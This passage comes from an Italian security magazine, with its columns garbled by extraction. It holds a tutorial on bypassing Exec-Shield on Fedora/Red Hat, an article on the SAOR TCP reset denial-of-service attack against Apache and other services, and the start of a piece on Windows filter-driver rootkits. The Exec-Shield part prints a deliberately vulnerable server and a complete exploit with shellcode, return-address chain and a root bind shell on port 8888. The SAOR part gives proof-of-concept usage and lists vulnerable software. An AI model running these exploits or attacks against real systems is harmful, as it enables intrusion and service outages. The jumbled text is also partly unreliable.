"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6" Dal punto di arresto del debugger analizziamo ancora

"\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" una volta la conformazione dello Stack: "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3"

(gdb) x/40bx $esp "\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"0xbfbf11ac: 0xdd 0x88 0x04 0x08 [*] "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34" 0xdd 0x88 0x04 0x08 [*] "\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"0xbfbf11b4: 0xdd 0x88 0x04 0x08 [*] "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b" 0xdd 0x88 0x04 0x08 [*] "\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"0xbfbf11bc: 0xdd 0x88 0x04 0x08 [*]

0xdd 0x88 0x04 0x08 [*]La sua dimensione (108 byte) richiederà in seguito 0xbfbf11c4: 0x18 0x85 0x04 0x08 [**]l'aggiunta di altri 152 byte di garbage data (dati 0xdd 0x88 0x04 0x08 [*]

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

34

Page 35: Security System

0xbfbf11cc: 0x55 0xd0 0x4b 0x00 [***] uid=0(root) gid=0(root)

0xf0 0x11 0xbf 0xbf groups=0(root),1(bin),2(daemon),3(sys),4(adm

),6(disk),10(wheel)Gli indirizzi contraddistinti da un asterisco sono i

Exec-Shield è stato così bypassato.puntatori all'istruzione “ ”, quello con due asterischi è ret

l'entry PLT di mentre con tre abbiamo strcpy()Conclusione

contrassegnato l'indirizzo dell'area di memoria in cui lo

shellcode deve essere copiato. In grassetto è possibile Quello descritto oggi è solo un metodo per bypassare invece notare l'indirizzo che punta al buffer utente Exec-Shield. Non è come sfruttare un Vanilla Stack (ovvero all'inizio dello shellcode). Risulta cambiato Overflow ma è ugualmente una tecnica valida. Per fare rispetto alla precedente sessione di debugging per via pratica con un'applicazione reale compilata su Fedora, delle funzionalità di Address Space Layout Red Hat Linux o CenOS, potete comunque prendere Randomization del sistema operativo ma la sua come riferimento la vulnerabilità del Mod_JK descritta posizione (offset) nello Stack è rimasta uguale. nell'articolo precedente. Anche lì da qualche parte nello Continuando nell'esecuzione dell'applicazione viene stack troverete un puntatore al buffer utente :)infine aperta una shell sulla porta TCP 8888:

$ nc IP_SERVER 8888

id

Per accedere ai contenuti messi a disposizione dalla

redazione visita http://www.segfault.it/SS/001/Exec-

Shield/metodo_one.tar.gz

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

Tabella 1: server_vuln.c

#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>#include <strings.h>

void handle(char *);void do_it(char *);

int main(int argc, char *argv[]){ /* Puntatore al buffer inviato dall'utente. E' importante per dimostrare che un attacco tramite shellcode è ancora possibile pur la presenza di Exec-Shield. */ char *pointer;

int fd, newfd, ret, clen; struct sockaddr_in xab, client; char mex[1024];

fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = ntohl(INADDR_ANY);

35

Page 36: Security System

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

ret = bind(fd, (struct sockaddr *)&xab, sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

ret = listen(fd, 5); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

for (; ;) { clen = sizeof(client); newfd = accept(fd, (struct sockaddr *)&client, &clen); if (newfd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

read(newfd, mex, sizeof(mex), 0); pointer = mex;

handle(mex); memset(&mex, 0, sizeof(mex)); send(newfd, "Thank You!\r\n", 12, 0); close(newfd); } }

void handle(char *mex){ /* Puntatori Inutilizzati. Il loro scopo in questo sorgente di test è solamente quello di occupare spazio in memoria. */ char *a, *b, *c, *d;

do_it(mex); return;}

void do_it(char *mex){ char request[256];

memset(&request, 0, sizeof(request)); strcpy(request, mex); printf(">>%s>>\r\n", request);}

#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>

Tabella 2: exploit.c

36

Page 37: Security System

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

#include <strings.h>

char shellcode[] = // shellcode 108 byte "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a" "\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54" "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"

// 152 byte di A "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAA"

// 6 istruzioni RET "\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08"

// strcpy() PLT "\x18\x85\x04\x08"

// 1 istruzione RET "\xdd\x88\x04\x08"

// library address "\x55\xd0\x4b\x00";

int main(int argc, char *argv[]){ int fd, ret, l = 0, i = 0; struct sockaddr_in xab; char buf[4098];

if (argc != 2) { printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]); exit(EXIT_FAILURE); }

fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = inet_addr(argv[1]);

ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

send(fd, shellcode, strlen(shellcode), 0); close(fd);

printf("[%s]: Controlla la porta TCP 8888 per una shell\r\n", argv[1]);}

37

Page 38: Security System

look at CROSS PLATFORM SAOR: Attacco al TCP

sequenza TCP. Nel caso di SAOR però il tipo di DoS Introduzione generato è di differente entità. Il successo dell'attacco

consiste nel blocco momentaneo o nel rallentamento inque anni fa veniva pubblicato nella mailing del servizio colpito, mentre in altri casi può addirittura list sikurezza.org[1] un messaggio che causarne il crash. Questo rende SAOR una valida descriveva una tecnica di offesa denominata Calternativa ai tradizionali attacchi di massa DDoS dal suo stesso autore SAOR, acronimo di States basati sulla saturazione della banda a disposizione Attack Over RST . A dispetto del poco dell'host vittima, in quanto l'azione offensiva può interessamento mostrato dalla comunità nei confronti essere condotta in modo preciso su uno specifico del post (tanto che questa tipologia di attacco può servizio, sprecando meno risorse hardware e/o di essere considerata ancora oggi inedita al grande rete e risultando quindi in un minore rischio di pubblico che orbita attorno al panorama individuazione. Se c'è un motivo per il quale internazionale della sicurezza informatica) SAOR probabilmente questa tecnica non è stata rimane a distanza di così tanto tempo una tecnica che vastamente impiegata fra le botnet di PC zombie, può rappresentare una minaccia reale di vasta questo è da ricercare nelle modalità di pubblicazione portata. Riconducibile alla categoria dei DoS/DDoS, del post originariamente apparso nel 2002 nella SAOR non è un attacco basato sulla saturazione mailing list sikurezza.org, ovvero esclusivamente in della banda di rete quanto sull'utilizzo sovversivo del lingua italiana e mai tradotto né divulgato in altre bit di controllo RST dei pacchetti TCP. Il fine è quello forme o attraverso fonti alternative.di generare connessioni disallineate, ovvero attive

nella tabella dei collegamenti del server ma

contemporaneamente inesistenti presso quella del

client. L'impiego del flag RST non è nuovo a scenari di

offesa perpetrati tramite Internet. Uno studio[2]

rilasciato dal ricercatore Paul Watson nel 2004

descriveva ad esempio come attraverso lo spoofing,

il bit di controllo RST potesse essere utilizzato per

distruggere le connessioni intercorse fra due host

senza conoscere preventivamente i numeri di

[1] http://www.sikurezza.org/ml/06_02/msg00172.html

[2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc

CLOSED

SYN_SENT

ESTABLISHED

ESTABLISHED

SYN_RCV

LISTEN

CLIENT SERVER

SYN (100)

SYN (300) ACK(101)

ACK (301)

Figura 1: TCP Three Way Handshake

38

Page 39: Security System

look at

ed un Acknowledgement Number, sempre della Il 3 Way Handshakedimensione di 32 bit, che equivale al valore di

K+1. Questo comportamento indica che il server Per comprendere questa tecnica di attacco è accetta la connessione e chiede conferma per necessario fare un passo indietro rispolverando il l'inizio della sessione (cioè lo scambio vero e modo in cui le connessioni TCP vengono stabilite. Il proprio dei dati) . Il server in questo momento si preludio, ovvero la sincronizzazione della sessione trova nello stato SYN_RCVD;prima che il client ed il server possano scambiarsi

reciprocamente i dati, avviene tramite una procedura

definita 3-way handshake e regolata dalla RFC §Il client risponde al server con un pacchetto TCP

793[3] proprio attraverso lo scambio di tre pacchetti attivando il bit di controllo ACK e generando un

(Figura 1) così distribuiti: Acknowledgement Number a 32 bit equivalente al

valore di J+1, concludendo di fatto la fase del 3

§il client invia un pacchetto TCP al server attivando way handshake.

il bit di controllo SYN e generando un numero di

sequenza (Sequenze Number) a 32 bit che qui A questo punto la connessione in entrambi le

definiremo K. Questo pacchetto equivale ad una direzioni è ESTABLISHED (stabilita). In realtà il client

richiesta di connessione. Il client si trova in questo passa dallo stato SYN_SENT allo stato ESTABLISHED momento nello stato SYN_SENT; già dopo aver ricevuto il secondo pacchetto inviato

durante il preludio alla connessione.

§il server risponde al client con un pacchetto TCP

attivando contemporaneamente i bit di controllo

SYN ed ACK. Il server genera anche un proprio

numero di sequenza a 32 bit che qui definiremo J

Source port Destination port

Sequence number

Acknowledgement number

TCPheaderlenght

Window size

Checksum Urgent pointer

Options (0 or more 32-bit words)

Data (optional)

URG

ACK

PSH

RST

SYN

FIN

32 bits

Figura 2: header TCP

[3] http://www.faqs.org/rfcs/rfc793.html

CROSS PLATFORM SAOR: Attacco al TCP

39

Page 40: Security System

look at

server, auto-chiudendo così la sua connessione). Il SAOR: l'attaccosecondo è il modo in cui avviene il reset del

Un attacco di tipo SAOR ha origine subito dopo che collegamento. Il Sequence Number è infatti uguale

una connessione è stata stabilita. Il client inganna lo all'Acknowledgment Number dell'ultimo pacchetto

stack TCP/IP del suo sistema operativo resettando la inviato dal client al completamento del three way

connessione attraverso il bit di controllo RST, handshake (terzo riferimento in Tabella 1). Anche i

utilizzando la tecnica dello spoofing (Figura 3). Questa numeri che identificano le porte del client e del server

procedura viene ripetuta centinaia o migliaia di volte ed devono naturalmente essere gli stessi affinché la

ha spesso l’effetto di causare il crash, il blocco di un connessione possa essere efficacemente distrutta.

servizio o rallentarne notevolmente le performance.

Per capire cosa accade realmente analizziamo in

Tabella 1 il contenuto di una sessione di esempio

(semplificata per l'occasione) ottenuta mediante

tcpdump[4]. I primi tre pacchetti sono relativi all'inizio ed

al completamento della fase di three way handshake. Il

quarto pacchetto è invece il vero e proprio vettore

dell'attacco. Qui è possibile notare due aspetti di

interesse. Il primo è che la connessione pare essere

stata resettata dal server (in realtà è il client che

attraverso la tecnica dello spoofing ha falsificato il

pacchetto in modo da farlo apparire proveniente dal

[4] http://www.tcpdump.org: Analizzatore di rete per Linux basato su

linea di comando che può essere impiegato all'occorrenza anche

come packet sniffer. Un'implementazione per Windows

d e n o m i n a t a W i n d u m p è d i s p o n i b i l e d a l s i t o

http://www.winpcap.org/windump/

CLOSED

SYN_SENT

ESTABLISHED

ESTABLISHED

SYN_RCV

LISTEN

CLIENT SERVER

SYN (100)

SYN (300) ACK(101)

ACK (301)

RST (301)

Figura 3: Vettore di un attacco SAOR (RST Packet)

CROSS PLATFORM SAOR: Attacco al TCP

40

Page 41: Security System

look at

TABELLA 1: sessione ricavata con il comando tcpdump -n-S port 80

Pacchetto 1: client.48550 > server.http: S 2118170236:2118170236(0) win 5840

Pacchetto 2: server.http > client.48550: S 59907385:59907385(0) ack 2118170237

Pacchetto 3: client.48550 > server.it.http: . ack 59907386 win 183

Pacchetto 4: server.http > client.48550: R 59907386:59907386(0) win 0

Legenda

S = SYN

. = nessun dato solo ACK

R = RST

Ciò significa che nessuna nuova richiesta può essere Case Study: Apache 1.3.x e 2.0.xservita da Apache per i successivi 5 minuti

dall'attacco. Il DoS può essere ripetuto all'infinito in Tra i servizi che maggiormente si prestano ad un quanto anche disponendo di modeste capacità di attacco di tipo SAOR vi è HTTP ed in particolare banda e di un unico sistema dal quale condurre l'implementazione offerta dal Web Server Apache (per l'azione malevola, è possibile allocare in poco tempo il momento prenderemo in esame solo le versioni del molte più connessioni fantasma di quante il server branch 1.3.x e 2.0.x). Sono due le impostazioni che lo riesca a chiuderne.rendono particolarmente soggetto a questa

problematica:Un metodo semplice per misurare il Timeout di un web

server Apache 1.3 o 2.0 è quello di eseguire il §Timeout: indica dopo quanti secondi ciascuna comando:connessione HTTP deve essere terminata;

§Maxclients : indica quante connessioni # date; telnet www.nomesito.xx 80; date contemporanee il web server può gestire;

e calcolare la differenza tra i due orari stampati a video Di default, partendo da un'installazione praticata prima e dopo il termine di esecuzione del telnet.attraverso i sorgenti[5], entrambi le opzioni sono così

configurate in httpd.conf: Ma osserviamo più da vicino un esempio pratico degli

effetti causati da un attacco di tipo SAOR. Per farlo ci Timeout 300 avvarremo di un Proof Of Concept che la redazione di MaxClients 150

Security System desidera mettere a disposizione dei

suoi lettori[6]. L'effetto prodotto quando la coda di Apache raggiunge

il limite massimo (MaxClients) di connessioni gestibili

è che il servizio smette di elaborare ogni altra richiesta

aggiuntiva proveniente dai client. In condizioni di

default quindi un SAOR Attack permette di allocare in

pochissimo tempo 150 o più connessioni, ciascuna

delle quali rimane appesa nello stato ESTABLISHED

per 300 secondi prima di essere terminata dal server.

[5] http://httpd.apache.org

[6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC

può essere compilato su Linux ma i suoi effetti si estendono

anche a servizi ospitati in altre piattaforme (come Windows ad

esempio).

CROSS PLATFORM SAOR: Attacco al TCP

41

Page 42: Security System

look at

Il codice è inedito e non è mai stato pubblicato in rete, Dall'output si evince che nel server è in atto un

pertanto può essere considerato a tutti gli effetti uno collegamento proveniente da ip_client dalla porta

0day (forse non più a partire da oggi ). Fare riferimento 51979 verso il servizio web locale (porta 80). Questa

al file README all'interno del package prelevabile dal connessione però lato client non esisterà. Ciò significa

sito www.segfault.it per determinare come compilare che il server ha una connessione allocata nello stato

l'applicazione e risolvere le dipendenze necessarie ESTABLISHED che di fatto non esiste. La procedura

(step che non copriremo in questo articolo). Il sorgente qui riprodotta, reiterata svariate volte, permette in

si compone di due parti (SAOR-listen e SAOR- parole povere di allocare presso il server centinaia o

connect). La prima è la componente server. Si migliaia di connessioni fantasma rispetto ad un

dispendio di risorse client side praticamente nullo. Ad occupa essenzialmente di osservare i pacchetti che

esempio lanciando opportunamente la componente fluiscono in rete e determinare se e quando resettare

SAOR-connect, in poco tempo ip_server sulla porta 80 con il metodo SAOR una connessione. La seconda è

invece la componente client che si occupa di avviare non sarà più raggiungibile. Quanto più il timeout del

ripetutamente il three way handshake presso la servizio sarà elevato, tanto più l'attacco avrà efficacia.

destinazione ed il servizio vittima (una semplice

connect() ripetuta dentro un ciclo infinito). Un ulteriore aspetto interessante degno di nota è che

l'attacco non produce alcuna indicazione nei file di log

Per lanciare la parte server aprite una finestra di shell e del servizio che permetta all'amministratore di risalire a

digitate: chi lo ha condotto. Raggiunto il limite Maxclients nel

file degli errori del webserver (di default error_log) # ./SAOR-listen "host ip_server and port 80" l'unico messaggio visibile sarà:eth0

[Sun Apr 01 17:51:22 2007] [error] server

Gli argomenti specificati indicano a SAOR-listen di reached MaxClients setting, consider raising

the MaxClients settingresettare tutte le connessioni relative al socket

ip_server:80 passanti per l'interfaccia eth0. Facciamo

adesso un test manuale. Lanciamo da locale (ovvero Niente indirizzi IP quindi neanche in access_log in

da dove è stato avviato SAOR-listen) un telnet verso quanto il semplice three way handshake non è

ip_server: sufficiente per generare una entry nei log di Apache se

a seguire non vi è una esplicita richiesta HTTP.# telnet ip_server 80

Trying ip_server...Case Study: Apache 2.2.x

Connected to ip_server

Escape character is '^]'.Gli ultimi rilasci stabili del branch 2.2 di Apache Connection closed by foreign host.

appaiono essere più coriacei rispetto alle edizioni 1.3.x

e 2.0.x del web server di fronte ad un SAOR Attack. A La prima cosa da notare è che quasi immediatamente partire da questo release infatti il servizio non la connessione viene chiusa (segno che la considera stabilito un collegamento fino a quando il componente SAOR-listen s ta svo lgendo client non invia almeno un byte di dati al server. adeguatamente il suo lavoro). Adesso spostiamoci Osserviamo più da vicino cosa succede dopo che il momentaneamente sul server e diamo un breve three way handshake viene portato a termine su sguardo alla sua tabella delle connessioni:Apache 2.2:

# netstat -an

[...]

ip_server:80 ip_client:51979 ESTABLISHED

CROSS PLATFORM SAOR: Attacco al TCP

42

Page 43: Security System

look at

16:05:41.088095 server.80 > client.52346: S handshake, all'arrivo del primo SYN chi attacca 2119450554 ack 256910396 vedrebbe infatti il kernel della propria macchina 16:05:41.088124 client.52346 > server.80: . rispondere con un pacchetto RST, il che farebbe capire ack 2119450555 al server che la connessione presso il client non esiste,

connessione che a sua volta verrebbe chiusa lato 16:05:47.137328 server.80 > client.52346: S

Apache. 2119450554 ack 256910396

16:05:47.137358 client.52346 > server.80: . Questo non significa però che il branch 2.2 del web ack 2119450555 server è immune da attacchi SAOR. Il problema può

infatti essere facilmente bypassato inviando, al 16:06:23.186346 server.80 > client.52346: S

completamento del three way handshake, un solo byte 2119450554 ack 256910396

16:06:23.186376 client.52346 > server.80: . di dati e resettando subito dopo la connessione lato

ack 2119450555 client. […]

Le modifiche necessarie per rendere utilizzabile anche Si può notare come il server invii ad intervalli regolari con Apache 2.2.x il codice segnalato nella nota 6 sono crescenti un pacchetto TCP con flag SYN a cui il client minime (solo un paio di step in più). Lasciamo risponde ogni volta con un ACK. Un normale attacco comunque al lettore il compito di adattarlo a SAOR non potrebbe funzionare in questo caso. Se la piacimento!connessione viene resettata appena dopo il three way

QUALCHE DATO STATISTICO

Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre

ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande

quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto

dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di

offesa:

34,46%

7,14%

58,40%

Apache 1,3,x(27.257)

Apache 2.0x(16081)

Apache 2.2.x(3332)

CROSS PLATFORM SAOR: Attacco al TCP

43

Page 44: Security System

look at

Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server

Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene

più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web

server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente

esposti ad un attacco SAOR :

38,12%

14,28%

47,60%

5 minuti

tra 1 e 3 minuti

meno di 60secondi

Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico

sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache.

servizi (nello specifico SMTP, SSH, FTP e POP3) E gli altri servizi?abbiamo deciso di testare il loro grado di resistenza ad

un attacco di tipo SAOR. Ciò che ne è scaturito sono i HTTP è un servizio che si presta maggiormente ad risultati delle Tabelle 2 e 3.attacchi di tipo SAOR ma non è l'unico esposto a tale

minaccia. Quando si parla di questa tecnica dobbiamo Pur non riportato in entrambe queste tabelle, è infatti distinguere tra due categorie differenti di significativo come dai nostri test siamo riusciti a servizi/protocolli: quelli che al termine del three way bloccare con successo il servizio di desktop remoto di handshake attendono la richiesta dell'utente e quelli Windows 2000 ma non quello di Windows Server che immediatamente dopo inviano al client un banner 2003 (che impone una restrizione sul numero delle identificativo o uno stream di byte service dependent[7]. connessioni fatte da uno specifico indirizzo IP, Appartengono ad esempio alla prima categoria oltre ad restrizioni non presenti invece nella versione HTTP anche RDP (il protocollo che rende possibili le precedente del sistema operativo). Nel caso del sessioni di desktop remoto su Windows) ed SMB (il servizio CIFS (porte 139/445) siamo invece riusciti a protocollo per le condivisioni di file e stampanti che replicare un DoS precludendo la fase di autenticazione rappresenta una delle parti più importanti che remota e di scambio di file su Windows 2000 SP4 e compongono il servizio CIFS) mentre per la seconda Windows XP SP2 (Windows Server 2003 non è stato categoria (indubbiamente più numerosa) si possono testato in questo caso).menzionare FTP, SMTP, POP3, IMAP, RFB (il

protocollo utilizzato dal VNC e dai sistemi derivati),

SSH, etc…

Prendendo come riferimento alcuni fra questi ultimi

[7] Per intenderci il codice dimostrativo indicato nella nota 6

funziona solo contro la prima categoria di servizi. Lasciamo al

lettore il compito di adattarlo in modo che possa funzionare anche

con i servizi appartenenti alla seconda categoria.

CROSS PLATFORM SAOR: Attacco al TCP

44

Page 45: Security System

look at

Fra le implementazioni SMTP, Exim è invece risultato Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il

in ogni implementazione testata non vulnerabile. web server presente di default in alcune edizioni di

Stesso discorso per Courier nella categoria dei servizi Microsoft Windows) non sono risultare vulnerabili ad

POP3. un attacco di tipo SAOR.

TABELLA 2

Vulnerabile

Non Vulnerabile

SMTP 65% 35% POP3 63,63% 36,37% FTP 87,50 12,50 SSH 100% 0%

Percentuali di vulnerabilità[8] al SAOR Attack

riscontrate su 45 implementazioni totali dei servizi

SMTP, POP3, FTP ed SSH testati

[8] Un servizio viene considerato vulnerabile se un attacco SAOR

riesce a precluderne l'accesso agli utenti per un periodo di tempo

arbitrario o se riesce notevolmente a rallentarne le performance.

TABELLA 3

Alcuni dei servizi e delle implementazioni software risultati vulnerabili[9] ad un attacco SAOR

[9] Si premette che le medesime versioni di alcuni fra questi

servizi sono risultate talvolta vulnerabili in certi casi e non

vulnerabili in altri. Ciò dipende naturalmente dal modo in cui il

servizio è configurato e dalle misure di hardening effettivamente

implementate per proteggerlo. I dati della tabella devono pertanto

essere considerati in funzione di questo aspetto.

SMTP POP3 FTP SSH

Qmail Cubib Circle 1.31 ProFtpd

1.2.8/1.2.9/1.2.10/1.3.10 OpenSSH 3.5.1

Postfix TPOP 3D LukeMFTPD 1.2 Beta 1 OpenSSH 3.7.1 Sendmail

8.12.11/8.12.9 Imail 5.0.6 WarFTPD 1.71 OpenSSH 3.8.1

Exchange 2003/ Microsoft SMTP 6.0

Argosoft 1.8.2 PureFTPD OpenSSH 4.2

ArgoSoft 1.8.2.3 Cyrus 2.0.16 OpenSSH 4.2p1 MDaemon 7.1.3/8.1.3

MDaemon 9.5.6 OpenSSH 4.5

Conclusione

Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti

che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena

spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati

immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle

connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il

servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da

un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno

scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di

collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema?

Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a [email protected]. Potreste essere

coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System.

CROSS PLATFORM SAOR: Attacco al TCP

45

Page 46: Security System

a almeno 11 anni a questa parte[1] uno degli essere gestito da più di un driver, cioè i driver in

strumenti immancabili nella “valigia virtuale” di Windows sono organizzati secondo un modello a Dogni smanettone è il rootkit. Sviluppato con lo strati: ognuno ha il suo ruolo ed entra in gioco in un

scopo di sniffare il traffico di rete, intercettare i tasti momento specifico. Ad esempio la componente che

digitati dagli utenti o sovvertire le normali operazioni del comunica direttamente con l'hardware viene definita

sistema agendo da backdoor (ovvero con l'obiettivo bus driver (diminutivo PDO), mentre quella che

principale di assicurarsi un accesso invisibile e implementa le funzionalità principali viene denominata

reiterato nel tempo) i primi componenti di questo tipo function driver (o utilizzando un diminutivo, FDO).

operavano in user land, andando a sostituire i comuni

file di sistema. L'approccio però si rivelò ben presto

inefficace con l'avvento di tool come Tripwire[2], capaci

di fotografare lo stato del filesystem in un dato

momento e compararlo con uno snapshot successivo

per identificare le applicazioni modificate o gli elementi

estranei aggiunti. L'interesse degli smanettoni [1] Quando l'autore dell'articolo ha iniziato ad interessarsi di cominciò quindi a spostarsi verso il lato kernel. I sicurezza informatica nel 1997, era molto praticato al tempo vantaggi di eseguire il proprio codice a ring 0[3] erano in l'hacking delle shell finalizzato all'installazione di IRC BNCBot o

passato (e sono ancora oggi nel presente) notevoli. PSYBot, tutte componenti che si cercava di nascondere agli occhi

Anzitutto si ha la possibilità di disporre sempre di indiscreti dell'admin, inizialmente con metodi rudimentali (ad

esempio rinominando il file di sistema originale ed al suo posto privilegi superiori a qualsiasi altra applicazione utilizzando uno script bash che richiamava l'applicazione regolare e eseguita in user land (anche lanciata con permessi filtrava l'output prima che venisse visualizzato dall'amministratore

amministrativi), inoltre ci si trova ad operare allo stesso della macchina), poi via via con delle applicazioni compilate che

livello di tutte le altri componenti kernel, incluse quelle venivano organizzate in veri e propri package, fino a giungere alla

installate dalle comuni applicazioni antivirus ed creazione di moduli kernel.

antispyware, permettendo all'intruso di “guerreggiare” [2] Di fatto questo genere di strumenti sono in grado di calcolare ad armi pari con esse. In aggiunta una componente che l'impronta digitale di ogni file presente nel filesystem con algoritmi di

gira in kernel land non è identificata da un processo in hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi

esecuzione in memoria visionabile ad esempio con il accessi e delle ultime modifiche.

Task Manager o con strumenti simili, quindi è meno [3] Nell'architettura x86 (ma si tratta di un aspetto più o meno facilmente rintracciabile.comune a molte altre piattaforme hardware) il processore fornisce

un meccanismo elementare di divisione dei privilegi attraverso i

Rootkit per Windows ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le

applicazioni utente a ring 3 (inclusi i programmi lanciati

dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring Allo stesso modo di Linux e più in generale di Unix, i in mezzo vengono raramente e comunque quasi mai direttamente

primi rootkit apparsi su Windows operavano utilizzati dal sistema operativo. Il passaggio da un ring meno

principalmente in user land. In questo caso alcune privilegiato ad uno di livello superiore avviene attraverso un call

gate o nei moderni processori tramite l'istruzione sysenter.tecniche di hooking erano addirittura note fin dal

1994[4][5]. Dal 2004 ad oggi però il numero dei kernel [4] “Load Your 32-bit DLL into Another Process's Address Space rootkit è cresciuto in modo impressionante fino a Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May

giungere ai livelli odierni di totale predominanza. Su 1994).

Windows a girare a ring 0 sono i driver. Non a caso un

kernel rootkit per Windows è essenzialmente un driver [ 5 ] F u n z i o n i c o m e S e t W i n d o w s H o o k E x ( ) e

che opera come filtro sulle richieste passanti. Al GetAsyncKeyState()(esportate dalla libreria User32.dll)

possono essere utilizzate fin da Windows 95 ed NT 3.1 per contrario però di molti altri sistemi operativi, ogni device progettare componenti malware come keylogger.(ovvero dispositivo fisico) in ambiente Microsoft può

look at WINDOWS

FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows

46

Page 47: Security System

Esiste però una terza categoria di driver che è meno

nota ma indubbiamente più interessante dal punto di Il Windows Driver Kit (in passato Driver vista della sicurezza, il Filter Driver. Development Kit) è un package rilasciato

gratuitamente da Microsoft che contiene tutti gli Gerarchicamente parlando, per ciascun dispositivo

strumenti e la documentazione utili per la creazione di fisico del sistema, il PDO è l'elemento collocato più in

un ambiente di sviluppo e test di driver per Windows. basso, seguito dall'FDO e quindi dagli eventuali Filter Per prelevare il kit nel momento in cui si scrive è Driver[6]. Quando si verifica un evento o una richiesta di necessario loggarsi (o preventivamente registrarsi) con

interazione con l'hardware in questione, questo u n a c c o u n t p a s s p o r t a l s i t o

evento/richiesta viene prima visto dalla componente http://connect.microsoft.com/.

filtro, quindi dall'FDO e poi dal bus driver (il PDO),

ovvero l 'elemento più astrattamente vicino First Stepsall'hardware. Una volta soddisfatta, la richiesta/evento

Come già detto un filter driver opera mediante un hook. fa il percorso inverso (PDO->FDO->FIlter Driver).

Questo “aggancio” avviene in modo trasparente,

ovvero i driver di livello inferiore non sono allertati della Se quindi lo scopo legittimo di un filter driver è quello di

presenza del filtro che può così agire in totale libertà per “agganciarsi” allo stack delle componenti kernel che

nascondere/modificare dati o semplicemente per gestiscono un dispositivo hardware filtrando le

